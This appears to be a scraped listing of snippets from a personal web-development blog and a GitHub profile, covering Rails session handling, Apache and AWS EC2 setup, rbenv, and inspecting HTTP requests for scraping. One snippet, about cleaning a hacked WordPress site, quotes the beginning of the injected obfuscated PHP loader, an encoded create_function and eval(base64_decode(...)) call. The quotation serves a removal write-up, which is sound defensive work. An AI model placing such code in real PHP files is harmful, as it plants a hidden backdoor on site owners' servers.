brainfung.us
brainfung.us | Session Management in Rails: Following Ruby on Rails Tutorial by Michael Hartl
http://brainfung.us/ruby_on_rails/2013/11/07/session-management-in-rails
Session Management in Rails: Following Ruby on Rails Tutorial by Michael Hartl. I did some further reading on session and cookie management in Rails and I think I’ve managed to wrap my head around the concept. The Ruby on Rails Security Guide. Goes into more detail as to how Rails handles sessions, I highly recommend giving it a read! Note: I’m following the Rails 3.2 version of Michael Hartl’s Ruby on Rails Tutorial. Rails Default Session Storage: CookieStore. By default Rails utilizes CookieStore.
brainfung.us
brainfung.us | Data Extraction: Inspecting HTTP Requests with Chrome Developer Tools
http://brainfung.us/data_extraction/2014/02/20/inspecting-http-requests-with-google-chrome
Data Extraction: Inspecting HTTP Requests with Chrome Developer Tools. This post is the first in a series on Data Extraction, otherwise known as Web Scraping. And will cover the inspection of HTTP requests in order to obtain the data from websites for use in other applications. Warning: Web scraping may be against the terms of use of some websites. Review the terms of use of the site you intend to scrape before proceeding. I will be using Coursera. Inspecting the HTTP POST Request for a Login Form. Note ...
github.com
kristinpeterson (Kristin Peterson) · GitHub
https://github.com/kristinpeterson
Long Beach, CA. Http:/ www.kristinpeterson.me. Aug 8, 2012. A collection of files that demonstrate fundamental data types, algorithms, and data structures, with emphasis on applications and scientific performance analysis of Java implementations. Authored f. Microblog written in Ruby on Rails, following Michael Hartl's Rails Tutorial. Files, including /.osx sensible hacker defaults for OS X. Projects and labs completed for CECS 326 Operating Systems @ CSULB. 379 contributions in the last year.
brainfung.us
brainfung.us | Apache Virtual Host Configuration on AWS EC2 (Ubuntu 12.04LTS)
http://brainfung.us/web_hosting/2013/11/05/apache-virtual-hosts-on-aws
Apache Virtual Host Configuration on AWS EC2 (Ubuntu 12.04LTS). Below are step by step instructions on how to set up Apache virtual hosts on an Amazon Web Services Elastic Compute Cloud (AWS EC2) server running Ubuntu 12.04 LTS with Apache. 1: Set DNS A records to point to your website’s server IP address. 2: Create virtual host file in /etc/apache2/sites-available by copying default config file. Sudo cp default sitename. 3: Adjust config file:. 5: Reload apache after rewrite is enabled.
brainfung.us
brainfung.us | Auto Download Files on Apache for ALL Browsers
http://brainfung.us/apache/2013/12/13/auto-download-files-on-apache-for-all-browsers
Auto Download Files on Apache for ALL Browsers. I need to set up a link on a clients webpage that automatically downloads a .pdf file when clicked. The answer’s simple, just use HTML5! Awesome, the problem is that some of it’s cool new features aren’t fully supported by all browsers. Take for instance the new download. Attribute for the anchor tag. As of this post it is not supported in IE or Safari. Use a mix of HTML5 and some Apache-foo. Setup the anchor tag with the download attribute:.
brainfung.us
brainfung.us | about
http://brainfung.us/about.html
I'm a California native that spends a good lot of time gazing at the artificial hue of my laptop screen, mostly because I love to. I started this blog as a means of communication with my past self, but I'll let you in on a little secret.I also hope that even just the most minuscule detail contained herein is helpful to someone else out there in hyperspace. Here I will record the occasional outtake from my continuing journey towards becoming a. Check out my other home on the web, if you fancy.
brainfung.us
brainfung.us | Setting up an LAMP Web Server on AWS EC2 (Ubuntu 12.04LTS)
http://brainfung.us/web_hosting/2013/11/04/setting-up-apache-web-server-on-aws
Setting up an LAMP Web Server on AWS EC2 (Ubuntu 12.04LTS). This post will walk you through the initial setup and installation of a LAMP web server on Amazon Web Services Elastic Cloud Compute (AWS EC2) running Ubuntu 12.04LTS. My setup utilizes Amazon’s Elastic IP. First things first, I wasn’t happy with the command offered in Amazon’s instructions for connecting to an AWS instance via SSH ( screenshot. So I made the following adjustments (my development computer is running Mac OSX Mountain Lion):.
brainfung.us
brainfung.us | archive
http://brainfung.us/archive.html
Data Extraction: Inspecting HTTP Requests with Chrome Developer Tools. Auto Download Files on Apache for ALL Browsers. Obliterating the WordPress $zend framework Hack. Installing Ruby, Rails and rbenv on Ubuntu 12.04LTS running Apache Server. Session Management in Rails: Following Ruby on Rails Tutorial by Michael Hartl. Apache Virtual Host Configuration on AWS EC2 (Ubuntu 12.04LTS). Setting up an LAMP Web Server on AWS EC2 (Ubuntu 12.04LTS). My adventures in tech. Brought to you by:.
brainfung.us
brainfung.us | Obliterating the WordPress $zend_framework Hack
http://brainfung.us/wordpress/2013/12/12/obliterating-the-wordpress-zend_framework-hack
Obliterating the WordPress $zend framework Hack. I noticed some suspicious code in a client’s WordPress site recently, it appeared at the top of every .php file. Php $zend framework=" x63 162 x65 141 x74 145 x5f 146 x75 156 x63 164 x69 157 x6e"; @error reporting(0); $zend framework(" , " x7d 73 x40 145 x76 141 x6c 50 x40 142 x61 163 x65 66 x34 137 x64 145 x63 157 x64 145 x28 42 x4a 107 x56 62YTFmWTJiYWsxY3owaXIgPSAiXHg2NlwxNjVceDZlXDE0M1x4NzRcMTUxXHg2ZlwxNTZceDVmXDE0NVx4NzhcMTUxXHg3M1wxNjRceDczIjsgJGV2YT...
brainfung.us
brainfung.us | Installing Ruby, Rails and rbenv on Ubuntu 12.04LTS running Apache Server
http://brainfung.us/web_hosting/2013/11/21/installing-ruby-on-rails-and-rbenv-on-ubuntu-1204lts-running-apache-server
Installing Ruby, Rails and rbenv on Ubuntu 12.04LTS running Apache Server. I recently switched from rvm to rbenv to manage my ruby gem dependencies and I couldn’t be happier. It’s a much leaner setup, as with rbenv I’m able to manage different ruby versions (although currently I’m running the most current version 2.0.0p247) and then manage my various apps gem dependencies with Bundler. The best part of this setup is that it eliminates the need to run the bundle exec command. CFLAGS=-O3 rbenv install 2...
SOCIAL ENGAGEMENT